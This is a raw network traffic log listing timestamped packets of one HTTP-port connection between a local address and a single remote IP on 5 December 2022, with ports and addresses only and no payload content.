Dec 5, 2022 06:44:31.169986963 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.170013905 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.170028925 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.170733929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.170761108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.170788050 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.170798063 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.170815945 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.170834064 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.170916080 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.170943022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.170972109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.171519995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.171549082 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.171588898 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.171596050 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.171618938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.171637058 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.171647072 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.171674967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.171686888 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.171703100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.171731949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.171746969 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.172295094 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.172323942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.172346115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.172352076 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.172380924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.172394991 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.172410011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.172437906 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.172451973 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.172466040 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.172493935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.172508001 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.172523022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.172564030 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.173238039 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.173266888 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.173295021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.173317909 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.173324108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.173351049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.173367023 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.173379898 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.173408031 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.173427105 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.173435926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.173464060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.173484087 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.174199104 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.174231052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.174258947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.174263000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.174285889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.174307108 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.174324036 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.174351931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.174371958 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.174379110 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.174407959 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.174428940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.174438000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.174484015 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.175175905 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.175204992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.175234079 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.175260067 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.175262928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.175292015 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.175306082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.175321102 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.175348997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.175364017 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.175375938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.175405025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.175421000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.176080942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176111937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176139116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176155090 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.176167011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176196098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176198006 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.176224947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176243067 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.176671028 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176701069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176728964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176758051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176764965 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.176784992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176800013 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.176812887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176832914 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.176841021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176868916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176892996 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.176897049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.176944971 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.177577019 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.177608967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.177638054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.177661896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.177665949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.177694082 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.177715063 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.177721024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.177748919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.177764893 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.177777052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.177804947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.177839041 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.178395987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178425074 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178448915 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.178452969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178482056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178514957 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178514957 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.178544044 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178565979 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.178570986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178597927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178617001 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.178623915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178652048 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.178677082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.179281950 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179341078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179361105 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.179369926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179398060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179414034 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.179425001 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179452896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179471016 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.179480076 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179507971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179524899 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.179538965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179567099 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179582119 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.179595947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.179640055 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.180234909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180263996 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180290937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180309057 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.180320024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180349112 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180363894 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.180376053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180403948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180418968 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.180433035 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180460930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180480957 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.180489063 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180516958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.180531025 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.181168079 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181195974 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181216002 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.181224108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181251049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181271076 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.181292057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181318045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181337118 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.181341887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181365013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181387901 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.181390047 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181413889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181436062 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.181437969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181482077 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.181914091 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181938887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181966066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.181984901 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.181991100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182018042 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182037115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.182041883 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182066917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182091951 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182094097 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.182116032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182138920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.182140112 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182163954 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182185888 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.182188034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182212114 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182230949 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.182235956 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182279110 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.182845116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182871103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182904959 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182917118 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.182930946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182955980 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.182971954 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.182981968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183006048 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183026075 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.183029890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183057070 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183074951 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.183082104 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183105946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183125019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.183130026 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183154106 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183177948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183178902 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.183223963 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.183772087 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183795929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183821917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183839083 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.183845997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183868885 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183888912 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.183893919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183918953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183938980 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.183943987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183969021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.183988094 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.183993101 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184016943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184035063 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.184041023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184065104 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184078932 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.184092045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184135914 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.184577942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184602976 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184627056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184644938 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.184650898 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184675932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184693098 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.184700012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184724092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184742928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.184750080 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.184792995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185002089 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185025930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185050964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185066938 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185075045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185100079 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185125113 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185132980 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185151100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185174942 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185178041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185203075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185223103 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185229063 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185252905 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185275078 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185276985 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185302019 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185322046 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185326099 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185348988 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185369968 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185374022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185399055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185415030 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185936928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185962915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.185978889 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.185987949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186012030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186031103 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.186037064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186054945 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186072111 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.186079025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186105013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186121941 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.186127901 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186153889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186170101 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.186177969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186202049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186224937 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.186228037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186253071 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186270952 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.186278105 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186301947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186314106 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.186326981 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186367035 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.186912060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186935902 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186959028 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.186981916 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.186985016 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187010050 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187030077 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187033892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187057972 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187083006 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187086105 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187114000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187134027 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187139034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187163115 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187179089 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187186003 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187210083 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187227011 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187235117 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187258959 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187279940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187283993 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187308073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187325954 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187829018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187854052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187875986 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187877893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187903881 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187923908 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187927961 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187952995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.187978983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.187980890 CET	80	49703	66.235.200.147	192.168.2.3
